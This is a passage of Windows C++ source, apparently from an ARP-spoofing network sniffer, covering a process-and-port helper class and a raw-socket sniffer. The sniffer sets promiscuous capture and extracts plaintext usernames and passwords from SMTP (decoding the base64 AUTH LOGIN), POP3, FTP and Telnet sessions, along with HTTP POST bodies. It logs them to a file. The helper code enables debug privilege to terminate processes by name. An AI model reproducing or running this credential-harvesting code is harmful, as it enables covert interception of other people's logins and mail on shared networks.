luid;if(!LookupPrivilegeValue(NULL,lp_privilege,&luid)){return 0;}tp.PrivilegeCount=1;tp.Privileges[0].Luid=luid;tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;if(!AdjustTokenPrivileges(token_hdl,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){return 0;}return 1; }//殺進程,通過進程ID int PcInfor::KillProc(DWORD pid) {BOOL killed=false;HANDLE proc_hdl,token_hdl;__try{if(pid>=0){OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token_hdl);if(token_hdl) SetPrivilege(token_hdl,SE_DEBUG_NAME);if((proc_hdl=OpenProcess(PROCESS_ALL_ACCESS,false,pid))!=NULL){if(TerminateProcess(proc_hdl,1)) killed=true;}}}__finally{if(proc_hdl!=NULL) CloseHandle(proc_hdl);if(token_hdl!=NULL) CloseHandle(token_hdl);}if(killed) return 1;return 0; }//殺進程,通過進程名字 int PcInfor::KillProcByName(char *exename) {GetPsList();int i;bool killed=false;CString DestExeName;DestExeName.Format("%s",exename);DestExeName.MakeLower();for(i=0;i<ProcessNum;i++){ProcessInfo[i].ProcessName.MakeLower();if(DestExeName==ProcessInfo[i].ProcessName){if(KillProc(ProcessInfo[i].ProcessId)) killed=true;}}if(killed) return 1;else return 0; }//查看TCP監聽的連接,生成文件 void PcInfor::BornTcpListen() {//DOS命令輸出到文件system("netstat -ano|find \"LISTENING\">tcplisten.txt"); }//查看UDP監聽的連接,生成文件 void PcInfor::BornUdpListen() {//DOS命令輸出到文件system("netstat -ano|find \"UDP\">udplisten.txt"); }//查看監聽的端口 int PcInfor::GetListenPort() {FILE *fin;char getstring[150],tempstring[150];fin=fopen("tcplisten.txt","r");int port,pid,temp;CString CPort,CPid,CType;PortNum=0;if(fin!=NULL){while(!feof(fin)){fgets(getstring,sizeof(getstring),fin);sscanf(getstring,"%s%d.%d.%d.%d:%d%d.%d.%d.%d:%d%s%d",tempstring,&temp,&temp,&temp,&temp,&port,&temp,&temp,&temp,&temp,&temp,tempstring,&pid);CPort.Format("%d",port);CPid.Format("%d",pid);CType="TCP";if(InsertPortList(CPort,CPid,CType)) PortNum++;}fclose(fin);}fin=fopen("udplisten.txt","r");if(fin!=NULL){while(!feof(fin)){fgets(getstring,sizeof(getstring),fin);sscanf(getstring,"%s%d.%d.%d.%d:%d%s%d",tempstring,&temp,&temp,&temp,&temp,&port,tempstring,&pid);CPort.Format("%d",port);CPid.Format("%d",pid);CType="UDP";if(InsertPortList(CPort,CPid,CType)) PortNum++;}fclose(fin);}CType.Format("%d",PortNum);TRACE(CType);return PortNum; }//監聽端口和進程的信息 bool PcInfor::InsertPortList(CString port,CString pid, CString type) {int i;bool caninsert=true;for(i=0;i<PortNum;i++){if(PortToProcess[i].Protocol==type&&PortToProcess[i].Port==port){caninsert=false;break;}}if(caninsert){PortToProcess[PortNum].Port=port;PortToProcess[PortNum].Pid=pid;PortToProcess[PortNum].Protocol=type;}return caninsert; }//查看進程名字 void PcInfor::FindProcName() {int i,j;char num[20];for(i=0;i<PortNum;i++){wsprintf(num,"%s",PortToProcess[i].Pid);for(j=0;j<ProcessNum;j++){if(ProcessInfo[j].ProcessId==(DWORD)atoi(num)){PortToProcess[i].ProcName=ProcessInfo[j].ProcessName;}}} }//查看進程目錄 void PcInfor::FindProcPath() {int i;char cmd[100];FILE *fout;DeleteFile("procpath.txt");fout=fopen("getprocess.bat","w");if(access("tlist.exe",0)!=0){AfxMessageBox("tlist.exe文件不存在!");return;}for(i=0;i<PortNum;i++){if(PortToProcess[i].ProcName=="System") wsprintf(cmd,"tlist.exe %s|find \"System\">>procpath.txt\r\n",PortToProcess[i].Pid);else wsprintf(cmd,"tlist.exe %s|find \"CmdLine:\">>procpath.txt\r\n",PortToProcess[i].Pid);if(fout!=NULL) fputs(cmd,fout);}if(fout!=NULL){fputs("exit",fout);system("start getprocess.bat");fclose(fout);} }void PcInfor::GetProcPath() {FILE *fin;fin=fopen("procpath.txt","r");CString tempstr;CString Path;int index,i;char getstring[500];i=0;if(fin!=NULL){while(!feof(fin)){fgets(getstring,sizeof(getstring),fin);tempstr.Format("%s",getstring);index=tempstr.FindOneOf("CmdLine:");if(i>(PortNum-1)) break;if(index==-1){PortToProcess[i].ProcPath="no get path";i++;continue;}index+=9;Path=tempstr.Mid(index,tempstr.GetLength()-index);PortToProcess[i].ProcPath.Format("%s",Path);i++;}fclose(fin);}else AfxMessageBox("沒有找到路徑文件"); }void PcInfor::GetPortToProcessInfo() {int i;BornTcpListen();BornUdpListen();GetListenPort();FindProcName();FindProcPath();for(i=0;i<10;i++) Sleep(1000);GetProcPath();DeleteTempFile();WriteProcinfo(); }//刪除臨時文件 void PcInfor::DeleteTempFile() {DeleteFile("tcplisten.txt");DeleteFile("udplisten.txt");DeleteFile("procpath.txt");DeleteFile("getprocess.bat"); }//把本地信息輸出到文件 void PcInfor::WriteProcinfo() {int i;FILE *fout;char tostring[500];fout=fopen("procinfo.txt","w");if(fout!=NULL){fputs("Potocol\tPort\tPid\tProcName\t\t\tProcPath\r\n",fout);for(i=0; i<PortNum; i++){wsprintf(tostring,"%s\t%s\t%s\t%s\t\t\t%s",PortToProcess[i].Protocol,PortToProcess[i].Port,PortToProcess[i].Pid,PortToProcess[i].ProcName,PortToProcess[i].ProcPath);fputs(tostring,fout); }fclose(fout);} }//獲取本地IP void PcInfor::GetLocalIp() {char Ip[MAX_PATH],*ip;char pc_name[80];struct in_addr in;struct hostent *host;WORD wVersionRequested;WSADATA wsaData;wVersionRequested=MAKEWORD(2,0);ip=Ip;strcpy(ip,"Ip not get!");SystemInfo.IP.Format("%s",ip);if(WSAStartup(wVersionRequested,&wsaData)) return;if(LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=0){WSACleanup();return;}if(gethostname(pc_name,80)==SOCKET_ERROR){WSACleanup();return;}if(!(host=gethostbyname(pc_name))){WSACleanup();return;}in.s_addr=*((unsigned long *)host->h_addr_list[0]);strcpy(ip,inet_ntoa(in));WSACleanup();SystemInfo.IP.Format("%s",ip); }
SNIFFER.h

// Raw Sniffer Code V1.2 // // powered by shadow @2004/11/28 // // my web:http://www.codehome.6600.org //#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) #define MAX_SUBTHREAD_NUM 50 //最大監聽線程 #define LISTEN_PORT 7500 //監聽起始端口 #define WM_SNIFFER_STOP WM_USER+100 //嗅探停止消息 #define WM_SNIFFER_RESTART WM_USER+101 //嗅探重新開始消息 #define WM_SNIFFER_CLOSE WM_USER+102 //嗅探徹底關閉消息 /* #define WM_ALLSNIFFER_STOP WM_USER+103 #define WM_ALLSNIFFER_CLOSE WM_USER+104 #define WM_ALLSNIFFER_RESTART WM_USER+105 */ #define SNIFFER_STATE_START 1 //嗅探在進行中 #define SNIFFER_STATE_CLOSE 2 //嗅探已完全關閉 #define SNIFFER_STATE_STOP 3 //嗅探暫停#define IPPROTO_TCP_TXT "TCP" #define IPPROTO_UDP_TXT "UDP" #define IPPROTO_ICMP_TXT "ICMP" #define IPPROTO_IGMP_TXT "IGMP" #define IPPROTO_DEFAULT_TXT "UNK"#define ICMP_HEADER_LEN 4 //各協議默認頭長,tcp和ip頭長可變 #define TCP_HEADER_LEN 20 #define UDP_HEADER_LEN 8 #define IP_HEADER_LEN 20#define MAXDATALEN 5000 //數據包的數據最大長度//4字節ip地址,相當于DWORD FROMIP typedef struct _IPADDRESS { unsigned char address[4]; }IPADDRESS;//IP頭定義 typedef struct _IP { unsigned char VersionHdl; //4位版本號和4位ip頭長,每位代表4字節長度unsigned char ServiceType; //服務類型unsigned short TotalLen; //數據包總長unsigned short Identifier; //標志unsigned short FragOff; //偏移量unsigned char TTL; //生存周期unsigned char Protocol; //協議類型unsigned short IpChkSum; //校驗碼IPADDRESS FromIP; //源IP地址IPADDRESS ToIP; //目的IP地址 }IP_HEADER; //UDP頭定義 typedef struct _UDP {WORD FromPort; //源端口WORD ToPort; //目的端口WORD UdpLen; //udp頭長WORD UdpChkSum; //校驗碼 }UDP_HEADER;//TCP頭定義 typedef struct _TCP {WORD FromPort; //源端口WORD ToPort; //目的端口DWORD SeqNum; //順序碼DWORD ACKNum; //回應碼BYTE HeaderLen; //TCP頭長BYTE Flags; //標志WORD Window; //窗口大小WORD TcpChkSum; //校驗碼WORD UrgPtr; //緊急指針 }TCP_HEADER;//ICMP頭定義 typedef struct _ICMP {BYTE Type; //類型BYTE Code; //區別碼WORD IcmpChkSum; //校驗碼 }ICMP_HEADER;//敏感信息存儲結構體,包括smtp,pop,ftp,telnet typedef struct _LISTENIPINFO { char proto[8]; //一次點對點會話只占用一個該結構體char sourceip[20];char sourceport[8];char destip[20];char destport[8];char username[50];char password[50];char mailfrom[100];char rcptto[100];int step;unsigned long lrecord_time; //最后收到的數據包時間 }LISTENIPINFO,LPLISTENIPINFO;//解析數據包之后的信息 typedef struct _PACKETINFO {char Protocol[8];char FromIp[20];char FromPort[8];char DestIp[20];char DestPort[8];char PacketData[MAXDATALEN];int DataLen;bool Checked; }PACKETINFO;//用戶定義信息結構體 typedef struct _USERINFO {CString ProtoType; //協議類型CString sourceip; //源ipCString sourceport; //源端口CString destip; //目的ipCString destport; //目的端口char SnifferDataPath[MAX_PATH]; //smtp和pop嗅探路徑bool SmtpSniffStart; //各項開始標記bool PopSniffStart;bool TelnetSniffStart;bool PostSniffStart; //HTTP中POST的數據bool FtpSniffStart; bool PacketSniffStart;bool LogData; //輸出到文件bool Echo; //回顯bool Filter; //過慮0字節數據包bool OutputByHex; //十六進制或者ASCIIbool HighSniff; //是否粗略嗅探,丟包率高,cpu利用率低 基本0int Way; //嗅探方式,1[單向嗅探],0[雙向嗅探]int MaxData; //最大記錄,單位Mint timeout; //嗅探超時,超過一定時間[s],信息存儲區將會清空被重復利用 }USERINFO,LPUSERINFO;//SOCKET RawSocket;//監聽原始套接字 class SNIFFER { public:SNIFFER();virtual ~SNIFFER();public:int MainThreadId; //主線程ID int SubThreadNum; //子線程個數int SubThreadId[MAX_SUBTHREAD_NUM]; //子線程列表int ErrorCode; //錯誤碼public:int AnalysePacket(char *buffer); //分析數據包int SnifferClose(); //關閉嗅探int ReStart(); //重新開始嗅探int Start(int type); //開始嗅探int Stop(); //停止嗅探private:bool WsaStartup; //SOCKET成功初始化char * GetLastError(int errorcode); //獲取錯去碼char * SnifferError[14]; //錯誤碼列表int SnifferState; //嗅探狀態LPVOID Form_ptr;//輔助函數 public:char * GetLocalIp(); //獲取本地IPchar * GetProtocol(unsigned char proto); //獲得協議類型CString GetCurrentSystemTime(); //獲取時間//回顯和保存數據包void EchoSnifferString(int i,int SniffType); //回顯敏感數據嗅探結果,包括smtp,ftp,pop,telnetvoid EchoPacketString(int SniffType); //回顯數據包void WriteSnifferString(int i,int SniffType); //嗅探結果寫文件void WritePacketString(int SniffType); //輸出普通包和POST數據包int SaveSnifferData(); //存儲和回顯普通包//數據包的分析int CheckSmtpPacket(); //檢查smtp包int CheckPopPacket(); //檢查pop包int CheckTelnetPacket(); //檢查telnet包int CheckFtpPacket(); //檢查ftp包//監聽的管理int IpIsListened(); //IP是否被監聽//判斷會話是否已經在監聽隊列,返回隊列下標,沒有返回-1void UpdateLastVisitTime(int i); //更新最后收到數據包的時間int InsertListenIpList(); //把回話插入到隊列void ResetListenIp(int i); //重置監聽隊列某項void BornRawSocket(SOCKET &Socket); //產生原始套接字};
SNIFFER.cpp

// Arp Sniffer Code V2.1 for ARPCHEATSNIFFER // // powered by shadow @2005/06/02 // // my web:http://www.codehome.6600.org //#include "stdafx.h" #include "SNIFFER.h" #include "BASE641.h" #include "PcInfor.h"#pragma comment(lib,"wsock32.lib") #pragma warning(disable:4996)#ifndef CHEAT_INFO #define CHEAT_INTO 0 #define ONLY_CHEAT 1 #define CHEAT_AND_SNIFF 2 #endif#define SMTPSTEP 5 //各項嗅探完成步驟 #define FTPSTEP 2 #define POPSTEP 2 #define TELNETSTEP 2 //#define MAX_TIMEOUT 120 //嗅探超時#define SMTP 1 //各項類別標記 #define POP 2 #define FTP 3 #define TELNET 4 #define POST 5 #define NORMAL 6 //普通未處理數據包//外部全局變量 extern USERINFO sniffuserinfo; extern void WriteUserDefine(); extern PcInfor mypcinfo; extern int RunType; extern unsigned long LostPacket;//本地全局變量 LISTENIPINFO ListenIpList[MAX_SUBTHREAD_NUM]; //監聽列表 PACKETINFO m_PI,m_PI2; //分析之后的數據包信息 SOCKET RawSocket; //原始套接字 FILE *fsniffer; //輸出文件指針 int BasePort; //原始套接字監聽端口其實地址//線程函數 UINT StatusWatchThread(LPVOID info); //監聽隊列狀態線程 UINT SnifferThread(LPVOID form_ptr); //主嗅探線程//監聽隊列狀態線程 UINT StatusWatchThread(LPVOID info) {SNIFFER *pSniffer = (SNIFFER *)info;long current_seconds;int i,timeout;SYSTEMTIME systemtime;while(true){Sleep(100);GetSystemTime(&systemtime);current_seconds = systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond;for(i=0; i<MAX_SUBTHREAD_NUM; i++){timeout = current_seconds-ListenIpList[i].lrecord_time;if(timeout > sniffuserinfo.timeout && ListenIpList[i].lrecord_time !=0 && ListenIpList[i].proto[0]!=0){pSniffer->ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n銷毀超時信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}} }//主嗅探線程 UINT SnifferThread(LPVOID form_ptr) {MSG msg;SNIFFER *getform=static_cast<SNIFFER *>(form_ptr);getform->MainThreadId = GetCurrentThreadId();printf("\r\nCheck Thread ok...\n");while(true){if(PeekMessage(&msg, NULL, WM_SNIFFER_CLOSE, WM_SNIFFER_CLOSE, PM_REMOVE)){closesocket(RawSocket);TRACE("mainthread close ok1 and send message!");break;}if(PeekMessage(&msg, NULL, WM_SNIFFER_STOP,WM_SNIFFER_STOP,PM_REMOVE)){TRACE("go stop ok!");while(true){Sleep(1);if(PeekMessage(&msg,NULL,WM_SNIFFER_RESTART,WM_SNIFFER_RESTART,PM_REMOVE)){TRACE("restart ok!");break;}if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){closesocket(RawSocket);TRACE("thread close ok!2");return 0;}}}if(!m_PI.Checked){if(sniffuserinfo.PacketSniffStart) getform->SaveSnifferData();if(sniffuserinfo.SmtpSniffStart&&m_PI.DestPort=="25"&&m_PI.DataLen!=0) getform->CheckSmtpPacket();else if(sniffuserinfo.FtpSniffStart&&m_PI.DestPort=="21"&&m_PI.DataLen!=0) getform->CheckFtpPacket();else if(sniffuserinfo.PopSniffStart&&m_PI.DestPort=="110"&&m_PI.DataLen!=0) getform->CheckPopPacket();else if(sniffuserinfo.TelnetSniffStart&&m_PI.DestPort=="23"&&m_PI.DataLen!=0) getform->CheckTelnetPacket();else;m_PI.Checked=true;}if(m_PI2.Checked){if(sniffuserinfo.PacketSniffStart) getform->SaveSnifferData();if(sniffuserinfo.SmtpSniffStart&&m_PI2.DestPort=="25"&&m_PI2.DataLen!=0) getform->CheckSmtpPacket();else if(sniffuserinfo.FtpSniffStart&&m_PI2.DestPort=="21"&&m_PI2.DataLen!=0) getform->CheckFtpPacket();else if(sniffuserinfo.PopSniffStart&&m_PI2.DestPort=="110"&&m_PI2.DataLen!=0) getform->CheckPopPacket();else if(sniffuserinfo.TelnetSniffStart&&m_PI2.DestPort=="23"&&m_PI2.DataLen!=0) getform->CheckTelnetPacket();else;m_PI2.Checked=false;}}return 0; }/////輔助函數/ //獲取本地IP char* SNIFFER::GetLocalIp() {char hostname[100];char *hostip;hostent *myhost;gethostname(hostname,100);myhost=gethostbyname(hostname);hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);return hostip; }//獲得協議類型 char* SNIFFER::GetProtocol(unsigned char proto) { switch(proto){case IPPROTO_TCP:return IPPROTO_TCP_TXT;case IPPROTO_UDP:return IPPROTO_UDP_TXT;case IPPROTO_ICMP:return IPPROTO_ICMP_TXT;case IPPROTO_IGMP:return IPPROTO_IGMP_TXT;default:return IPPROTO_DEFAULT_TXT;} }//獲取時間 CString SNIFFER::GetCurrentSystemTime() {SYSTEMTIME systemtime;GetSystemTime(&systemtime);CString datetime;datetime.Format("%d-%d-%d %d:%d:%d",systemtime.wYear,systemtime.wMonth,systemtime.wDay,systemtime.wHour,systemtime.wMinute,systemtime.wSecond);return datetime; }///回顯數據/ //回顯敏感數據嗅探結果,包括smtp,ftp,pop,telnet void SNIFFER::EchoSnifferString(int i,int SniffType) {CString type;switch(SniffType){case SMTP:type="SMTP";break;case FTP:type="FTP";break;case POP:type="POP";break;case TELNET:type="TELNET";break;default:break;}printf("\r\n--------> %s 嗅探結果:\r\n",type);printf("%-4s%-17s%-6s--> %-17s%-6s %s\r\n",ListenIpList[i].proto,ListenIpList[i].sourceip,ListenIpList[i].sourceport,ListenIpList[i].destip,ListenIpList[i].destport,GetCurrentSystemTime());printf("UserName:%s\r\n",ListenIpList[i].username);printf("PassWord:%s\r\n",ListenIpList[i].password);if(SniffType == SMTP){printf("%s\r\n",ListenIpList[i].mailfrom);printf("%s\r\n",ListenIpList[i].rcptto);} }//嗅探結果寫文件 void SNIFFER::WriteSnifferString(int i,int SniffType) {CString type;switch(SniffType){case SMTP:type="SMTP";break;case FTP:type="FTP";break;case POP:type="POP";break;case TELNET:type="TELNET";break;default:break;}fsniffer = fopen(sniffuserinfo.SnifferDataPath,"ab+");if(fsniffer == NULL) return;fprintf(fsniffer,"\r\n--------> %s 嗅探結果:\r\n",type);fprintf(fsniffer,"%-4s%-17s%-6s--> %-17s%-6s %s\r\n",ListenIpList[i].proto,ListenIpList[i].sourceip,ListenIpList[i].sourceport,ListenIpList[i].destip,ListenIpList[i].destport,GetCurrentSystemTime());fprintf(fsniffer,"UserName:%s\r\n",ListenIpList[i].username);fprintf(fsniffer,"PassWord:%s\r\n",ListenIpList[i].password);if(SniffType == SMTP){fprintf(fsniffer,"%s\r\n",ListenIpList[i].mailfrom);fprintf(fsniffer,"%s\r\n",ListenIpList[i].rcptto);}fclose(fsniffer); }//回顯數據包 void SNIFFER::EchoPacketString(int SniffType) {if (m_PI.DataLen == 0) return;//if(SniffType == POST)printf("---------------------嗅探結果------------------------------\n");printf("時間 :%s\n",GetCurrentSystemTime());printf("協議 :%-4s\n", m_PI.Protocol);printf("源IP :%-17s\n", m_PI.FromIp);printf("源PORT :%-6s\n", m_PI.FromPort);printf("目標IP :%-17s\n", m_PI.DestIp);printf("目標PORT:%-6s\n", m_PI.DestPort);printf("大小 :%d",m_PI.DataLen);printf("\n");printf("原始數據:\n");printf("%s\n",m_PI.PacketData);//十六進制輸出if(sniffuserinfo.OutputByHex){ unsigned char HexData[MAXDATALEN];printf("十六進制:\n");memcpy(HexData, m_PI.PacketData, m_PI.DataLen);for(int i=0; i<m_PI.DataLen; i++){printf("%02X ",HexData[i]);}}printf("\n---------------------------------------------------\n"); }//輸出普通包和POST數據包 void SNIFFER::WritePacketString(int SniffType) {unsigned char HexData[MAXDATALEN];ZeroMemory(HexData,sizeof(HexData));fsniffer = fopen(sniffuserinfo.SnifferDataPath,"ab+");if(fsniffer != NULL){if(SniffType == POST){fprintf(fsniffer,"\r\n--------> POST 嗅探結果:\r\n%-4s%-17s%-6s--> %-17s%-6s%5d Bytes %s\r\n",m_PI.Protocol,m_PI.FromIp,m_PI.FromPort,m_PI.DestIp,m_PI.DestPort,m_PI.DataLen,GetCurrentSystemTime());fwrite(m_PI.PacketData, m_PI.DataLen, 1, fsniffer);fputs("\r\n", fsniffer);fflush(fsniffer);fclose(fsniffer);return;}fprintf(fsniffer,"%-6s%-17s%-8s--> %-17s%-6s%5d Bytes %s\r\n---------------------------------------------------------------------------------------------\r\n",m_PI.Protocol,m_PI.FromIp,m_PI.FromPort,m_PI.DestIp,m_PI.DestPort,m_PI.DataLen,GetCurrentSystemTime());//十六進制輸出if(sniffuserinfo.OutputByHex){memcpy(HexData, m_PI.PacketData, m_PI.DataLen);for(int i=0,j=1; i<m_PI.DataLen; i++,j++){fprintf(fsniffer,"0x%02X,",HexData[i]);if(j%20==0){fputs("\r\n",fsniffer);j=0;}}}else{fwrite(m_PI.PacketData, m_PI.DataLen, 1, fsniffer);}fputs("\r\n\r\n---------------------------------------------------------------------------------------------\r\n",fsniffer);fflush(fsniffer);fclose(fsniffer);}else {printf("File can not create...\r\n");} }//存儲和回顯普通包 int SNIFFER::SaveSnifferData() {bool cansave = false;if(sniffuserinfo.Filter && m_PI.DataLen == 0) return 0;//數據過濾if(sniffuserinfo.ProtoType.Find(m_PI.Protocol,0)>=0 || sniffuserinfo.ProtoType=="*")if(sniffuserinfo.sourceip.Find(m_PI.FromIp,0)>=0 || sniffuserinfo.sourceip=="*")if(sniffuserinfo.sourceport.Find(m_PI.FromPort,0)>=0 || sniffuserinfo.sourceport=="*")if(sniffuserinfo.destip.Find(m_PI.DestIp,0)>=0 || sniffuserinfo.destip=="*")if(sniffuserinfo.destport.Find(m_PI.DestPort,0)>=0 || sniffuserinfo.destport=="*")cansave=true;if(cansave){//回顯數據包if(sniffuserinfo.Echo) EchoPacketString(NORMAL);if(sniffuserinfo.LogData){int hfile;hfile = open(sniffuserinfo.SnifferDataPath, O_RDONLY|O_BINARY);if(hfile){long flen = filelength(hfile);//檢查抓包文件是否過大if((flen/1024/1024) > sniffuserinfo.MaxData){close(hfile);remove(sniffuserinfo.SnifferDataPath);}else close(hfile);} WritePacketString(NORMAL);return 1;}}return 0; }//分析各種協議數據包 //檢查smtp包 int SNIFFER::CheckSmtpPacket() {int i;char *pindex;char sdata[100];memset((void *)sdata,0,sizeof(sdata));//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請SMTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);CString LowSnifferStr;CString Encodestr,Decodestr;LowSnifferStr.Format("%s",m_PI.PacketData);LowSnifferStr.MakeLower();pindex=strstr(m_PI.PacketData, "\r\n");if(ListenIpList[i].step==0 && (LowSnifferStr.Find("auth login",0)==0)){ListenIpList[i].step++;return 0;}else if(ListenIpList[i].step==1||ListenIpList[i].step==2){if(pindex!=NULL){Encodestr.Format("%s",memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData));ListenIpList[i].step++;}}else if(ListenIpList[i].step==3&&LowSnifferStr.Find("mail from:",0)==0){if(pindex!=NULL){memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData);strcpy(ListenIpList[i].mailfrom,sdata);ListenIpList[i].step++;}}else if(ListenIpList[i].step==4&&LowSnifferStr.Find("rcpt to:",0)==0){if(pindex!=NULL){memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData);strcpy(ListenIpList[i].rcptto,sdata);ListenIpList[i].step++;}}else;if(ListenIpList[i].step==2||ListenIpList[i].step==3){BASE64 base64;char encodestr[50];ZeroMemory(encodestr,sizeof(encodestr));sprintf(encodestr,"%s",Encodestr);Decodestr.Format("%s",base64.StringDecode((unsigned char *)encodestr));}if(ListenIpList[i].step==2) strcpy(ListenIpList[i].username,Decodestr.GetBuffer(0));else if(ListenIpList[i].step==3) strcpy(ListenIpList[i].password,Decodestr.GetBuffer(0));else;if(ListenIpList[i].step==SMTPSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,SMTP);if(sniffuserinfo.LogData) WriteSnifferString(i,SMTP);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置SMTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//檢查pop包 int SNIFFER::CheckPopPacket() {int i,strlength;char sdata[100];memset((void *)sdata,0,sizeof(sdata));//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請POP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);CString LowSnifferStr;LowSnifferStr.Format("%s",m_PI.PacketData);LowSnifferStr.MakeLower();if(ListenIpList[i].step==0&&LowSnifferStr.Find("user",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].username,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else if(ListenIpList[i].step==1&&LowSnifferStr.Find("pass",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].password,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else;if(ListenIpList[i].step==POPSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,POP);if(sniffuserinfo.LogData) WriteSnifferString(i,POP);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置POP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//檢查ftp包 int SNIFFER::CheckFtpPacket() {int i,strlength;char sdata[100];memset((void *)sdata,0,sizeof(sdata));//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請FTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);CString LowSnifferStr;LowSnifferStr.Format("%s",m_PI.PacketData);LowSnifferStr.MakeLower();if(ListenIpList[i].step==0&&LowSnifferStr.Find("user",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].username,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else if(ListenIpList[i].step==1&&LowSnifferStr.Find("pass",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].password,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else;if(ListenIpList[i].step==FTPSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,FTP);if(sniffuserinfo.LogData) WriteSnifferString(i,FTP);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置FTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//檢查telnet包 int SNIFFER::CheckTelnetPacket() {int i;//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請TELNET信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);if(m_PI.DataLen==1||m_PI.DataLen==2){if(m_PI.PacketData=="\r"||m_PI.PacketData=="\n"||m_PI.DataLen==2){ListenIpList[i].step++;return 0;}if(m_PI.DataLen==1&&ListenIpList[i].step==0) strcat(ListenIpList[i].username,m_PI.PacketData);else if(m_PI.DataLen==1&&ListenIpList[i].step==1) strcat(ListenIpList[i].password,m_PI.PacketData);else;}//else if(PacketData.GetLength()==2) else;if(ListenIpList[i].step==TELNETSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,TELNET);if(sniffuserinfo.LogData) WriteSnifferString(i,TELNET);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置TELNET信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//監聽的管理// //判斷會話是否已經在監聽隊列,返回隊列下標,沒有返回-1 int SNIFFER::IpIsListened() {int i;for(i=0; i<MAX_SUBTHREAD_NUM; i++){if(strcmp(ListenIpList[i].proto, m_PI.Protocol)==0 && strcmp(ListenIpList[i].sourceip, m_PI.FromIp)==0 && strcmp(ListenIpList[i].sourceport, m_PI.FromPort)==0 )if(strcmp(ListenIpList[i].destip, m_PI.DestIp)==0 && strcmp(ListenIpList[i].destport, m_PI.DestPort)==0)return i;}return -1; }//更新最后收到數據包的時間 void SNIFFER::UpdateLastVisitTime(int i) {SYSTEMTIME systemtime;GetSystemTime(&systemtime);ListenIpList[i].lrecord_time = systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond; }//把回話插入到隊列 int SNIFFER::InsertListenIpList() {int i;for(i=0; i<MAX_SUBTHREAD_NUM; i++){//直到找到一個空的地方,然后進行插入if(ListenIpList[i].proto[0] == 0){ZeroMemory((char *)&ListenIpList[i], sizeof(ListenIpList[i]));strcpy(ListenIpList[i].proto, m_PI.Protocol);strcpy(ListenIpList[i].sourceip, m_PI.FromIp);strcpy(ListenIpList[i].sourceport, m_PI.FromPort);strcpy(ListenIpList[i].destip, m_PI.DestIp);strcpy(ListenIpList[i].destport, m_PI.DestPort);ListenIpList[i].step = 0;UpdateLastVisitTime(i);return i;}}//隊列已滿return -1; }//重置監聽隊列某項 void SNIFFER::ResetListenIp(int i) {//標志位置0就可以了ListenIpList[i].proto[0] = 0; }//產生原始套接字 void SNIFFER::BornRawSocket(SOCKET &Socket) {sockaddr_in localsock;Socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP);if(Socket == INVALID_SOCKET) return;//自定義超時int rcvtimeout = 5000;if(setsockopt(Socket,SOL_SOCKET,SO_RCVTIMEO, (const char *)&rcvtimeout,sizeof(rcvtimeout)) == SOCKET_ERROR) return;//地址綁定localsock.sin_family = AF_INET;localsock.sin_port = htons(++BasePort);localsock.sin_addr.S_un.S_addr = inet_addr(GetLocalIp());if(bind(Socket, (const sockaddr *)&localsock, sizeof(localsock)) == SOCKET_ERROR) return;DWORD dwValue=1;if(ioctlsocket(Socket, SIO_RCVALL, &dwValue) == SOCKET_ERROR) return; } ////構造函數 SNIFFER::SNIFFER() {//變量初始化WsaStartup = false;BasePort = 